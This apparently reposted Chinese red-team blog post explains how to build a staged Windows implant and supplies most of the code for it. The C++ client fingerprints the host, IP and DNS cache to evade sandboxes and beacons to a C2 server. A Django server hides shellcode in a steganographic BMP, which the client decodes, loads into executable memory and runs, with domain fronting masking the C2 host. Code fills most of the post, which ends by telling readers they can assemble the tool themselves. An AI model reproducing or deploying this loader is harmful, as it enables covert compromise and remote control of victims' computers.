把shellcode载荷放在平台生成的隐写图片中,前锋马回传机器基础信息用于判断是否是沙箱或调试机,确认是真实目标,人为准入,目标机解析隐写图片shellcode后上线到c2。
server端是django写,clinet是c++。 环境安装:
pip3 install django==2.1.3pip3 install chardetpip3 install pycryptodome
客户端随机生成GUID动态请求server端获取key
wchar_t guidbuffer[GUID_LEN] = { 0 };GUID guid;if (CoCreateGuid(&guid)){fprintf(stderr, "create guid error\n");return -1;}_snwprintf_s(guidbuffer, sizeof(guidbuffer),L"%08X-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X",guid.Data1, guid.Data2, guid.Data3,guid.Data4[0], guid.Data4[1], guid.Data4[2],guid.Data4[3], guid.Data4[4], guid.Data4[5],guid.Data4[6], guid.Data4[7]);
https://blog.csdn.net/witto_sdy/article/details/83375999 http://redteam.xxx/add?uuid=41303000200-0400-0500-0006-000700080009&target=3d316499851da40d2c29a0cf2e6f645a&dns=e8f1c693514ccd053addeee84cfd350ad0f38374e86f6f799b814cc09dda09c7获取主机名以及对于的IPWSADATA wsaData;int err = WSAStartup(MAKEWORD(2, 0), &wsaData);char szHostName[MAX_PATH] = { 0 };int nRetCode;nRetCode = gethostname(szHostName, sizeof(szHostName));char* lpLocalIP;PHOSTENT hostinfo;hostinfo = gethostbyname(szHostName);lpLocalIP = inet_ntoa(*(struct in_addr*)*hostinfo->h_addr_list);获取本地DNS缓存记录std::vector<CachedDnsRecord> getDnsCache(){std::vector<CachedDnsRecord> results;PDNSCACHEENTRY pEntry = (PDNSCACHEENTRY)malloc(sizeof(DNSCACHEENTRY));HINSTANCE hLib = LoadLibrary(TEXT("DNSAPI.dll"));DNS_GET_CACHE_DATA_TABLE DnsGetCacheDataTable =(DNS_GET_CACHE_DATA_TABLE)GetProcAddress(hLib, "DnsGetCacheDataTable");int stat = DnsGetCacheDataTable(pEntry);pEntry = pEntry->pNext;while (pEntry){CachedDnsRecord record;record.name = wstring(pEntry->pszName);//wprintf(L"%s|", record.name.c_str());record.type = pEntry->wType;results.push_back(record);pEntry = pEntry->pNext;}free(pEntry);return results;}
3.对回传回来主机名,dns记录,ip解密的数据进行判断,根据信息判断是否允许上线,允许上线则用生成一个图片隐写马,等待客户端请求返回解析出来shelllcode server端处理代码
# 判断生成图片class TaskShow(View):@csrf_exemptdef post(self, request, **kwargs):taskid = (request.POST['taskid'])obj = models.Message.objects.get(id=taskid)shellcode = "fce88900000060xxxxxxx" #shellcodecmd = "SimpleShellcode.exe {shellcode}".format(shellcode=shellcode)proc = subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)print(proc.stdout.readline())pathfile = (str(obj.UUIDreuslt) + ".bmp")time.sleep(5)os.rename("save.bmp", pathfile)filedir = os.path.join(os.getcwd(), 'images', pathfile)shutil.move(pathfile, filedir)models.Message.objects.filter(id=taskid).update(gogogo=shellcode)# 获取appid对应的图片class Tasktext(View):def get(self, request):UUIDreuslt = request.GET.get("appid")filename = UUIDreuslt + ".bmp"filedir = os.path.join(os.getcwd(), 'images', filename)if not os.path.exists(filedir):return HttpResponse(status=404)else:filedir_tmp = UUIDreuslt + "_" + str(random.randint(1, 100)) + ".bmp"temp_bmp = os.path.join(os.getcwd(), 'images', filedir_tmp)photo = open(filedir, 'rb')photo2 = open(temp_bmp, 'wb')photo2.write(photo.read())photo.close()photo2.close()os.remove(filedir)q = models.Message.objects.get(UUIDreuslt=UUIDreuslt)print(q.id)models.Message.objects.filter(id=q.id).update(cscscs=filedir)return FileResponse(open(temp_bmp, 'rb'), content_type='*/*')
DWORD dwStatusCodeReturn = 0;while (dwStatusCodeReturn != 200){resultStr = webhttp(fullUrlPath, &dwStatusCodeReturn);if (dwStatusCodeReturn == 200){cout << "exit" << endl;}cout << "请求失败:" << dwStatusCodeReturn << endl;::Sleep(60 * 1000 * 3);}#位移处理图片中的shelllcodestd::wstring rightPart = GetRightStr(Url, L"?");std::wstring wcs = rightPart.c_str();size_t wcsPos = wcs.find(L"appid");if (wcsPos != string::npos && dwStatusCode == 200) {BITMAPFILEHEADER *pHdr = (BITMAPFILEHEADER *)pBuffer;LPBYTE pStr = pBuffer + pHdr->bfOffBits + 3;char szTmp[5000];RtlZeroMemory(szTmp, 5000);for (int i = 0; i < 5000; i++){if (*pStr == 0 || *pStr == 0xFF){break;}szTmp<i> = *pStr;pStr += 4;}printf_s(szTmp);unsigned int char_in_hex;unsigned int iterations = strlen(szTmp);unsigned int memory_allocation = strlen(szTmp) / 2;VirtualProtect(szTmp, memory_allocation, PAGE_READWRITE, 0);for (unsigned int i = 0; i < iterations / 2; i++) {sscanf_s(szTmp + 2 * i, "%2X", &char_in_hex);szTmp<i> = (char)char_in_hex;}MyVirtualAlloc defVirtualAlloc = (MyVirtualAlloc)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "VirtualAlloc");MyVirtualProtect defVirtualProtect = (MyVirtualProtect)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "VirtualProtect");void* abvc = defVirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE);memcpy(abvc, szTmp, memory_allocation);DWORD ignore;defVirtualProtect(abvc, memory_allocation, PAGE_EXECUTE, &ignore);(*(void(*)()) abvc)();delete pBuffer;}
沙箱中会静态从内存中匹配url 链接,这里用域前置来匿名服务器地址, 在winhttp中增加个指定的host头来实现域前置
std::wstring strHost = GetHost(Url); #获取hoststd::wstring strRequestStr = GetRequestStr(Url); #获取目录//wcout << strHost;//wcout << strRequestStr;//访问的headerstd::wstring header = L"Host: " + strHost + L"\r\nContent-type: application/x-www-form-urlencoded\r\nCache-Control: max-age=0\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.8\r\n";//建立连接的hoststrHost = strHost + L".w.xxxx.com"; //动态域名LPCWSTR host = wstringToLPCWSTR(strHost.c_str());LPCWSTR requestStr = wstringToLPCWSTR(strRequestStr.c_str());HINTERNET hSession = WinHttpOpen(L"User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.104 Safari/537.36 Core/1.53.2141.400 QQBrowser/9.5.10219.400",WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,WINHTTP_NO_PROXY_NAME,WINHTTP_NO_PROXY_BYPASS, 0);DWORD dwReadBytes = 0, dwSizeDW = sizeof(dwSizeDW), dwContentSize = 0, dwIndex = 0, dwStatusCode = 0;HINTERNET hConnect = WinHttpConnect(hSession, host,INTERNET_DEFAULT_HTTP_PORT, 0);HINTERNET hRequest = hRequest = WinHttpOpenRequest(hConnect, L"GET", requestStr,NULL, WINHTTP_NO_REFERER,NULL,NULL);//Add HTTP headerLPCWSTR header1 = wstringToLPCWSTR(header.c_str());SIZE_T len = lstrlenW(header1);WinHttpAddRequestHeaders(hRequest, header1, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD);WinHttpSendRequest(hRequest,WINHTTP_NO_ADDITIONAL_HEADERS,0, WINHTTP_NO_REQUEST_DATA, 0,0, 0);WinHttpReceiveResponse(hRequest, 0);dwSizeDW = sizeof(dwContentSize);WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, NULL, &dwContentSize, &dwSizeDW, &dwIndex);dwSizeDW = sizeof(dwStatusCode);WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, NULL, &dwStatusCode, &dwSizeDW, NULL);if (dwStatusCodeReturn)*dwStatusCodeReturn = dwStatusCode;BYTE *pBuffer = NULL;pBuffer = new BYTE[dwContentSize + 1];ZeroMemory(pBuffer, dwContentSize + 1);//LPCWSTR header1 = wstringToLPCWSTR(header.c_str());//SIZE_T len = lstrlenW(header1);//WinHttpAddRequestHeaders(hRequest, header1, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD);if (dwContentSize > 0){do {WinHttpReadData(hRequest, pBuffer, dwContentSize, &dwReadBytes);} while (dwReadBytes == 0);}
思路和主要代码都给出来了,动动手就可以写出来了,欢迎交流指正!
推荐阅读
如有侵权,请联系删除
星球部分精华内容推荐
其他更多精彩内容,欢迎加入我们的星球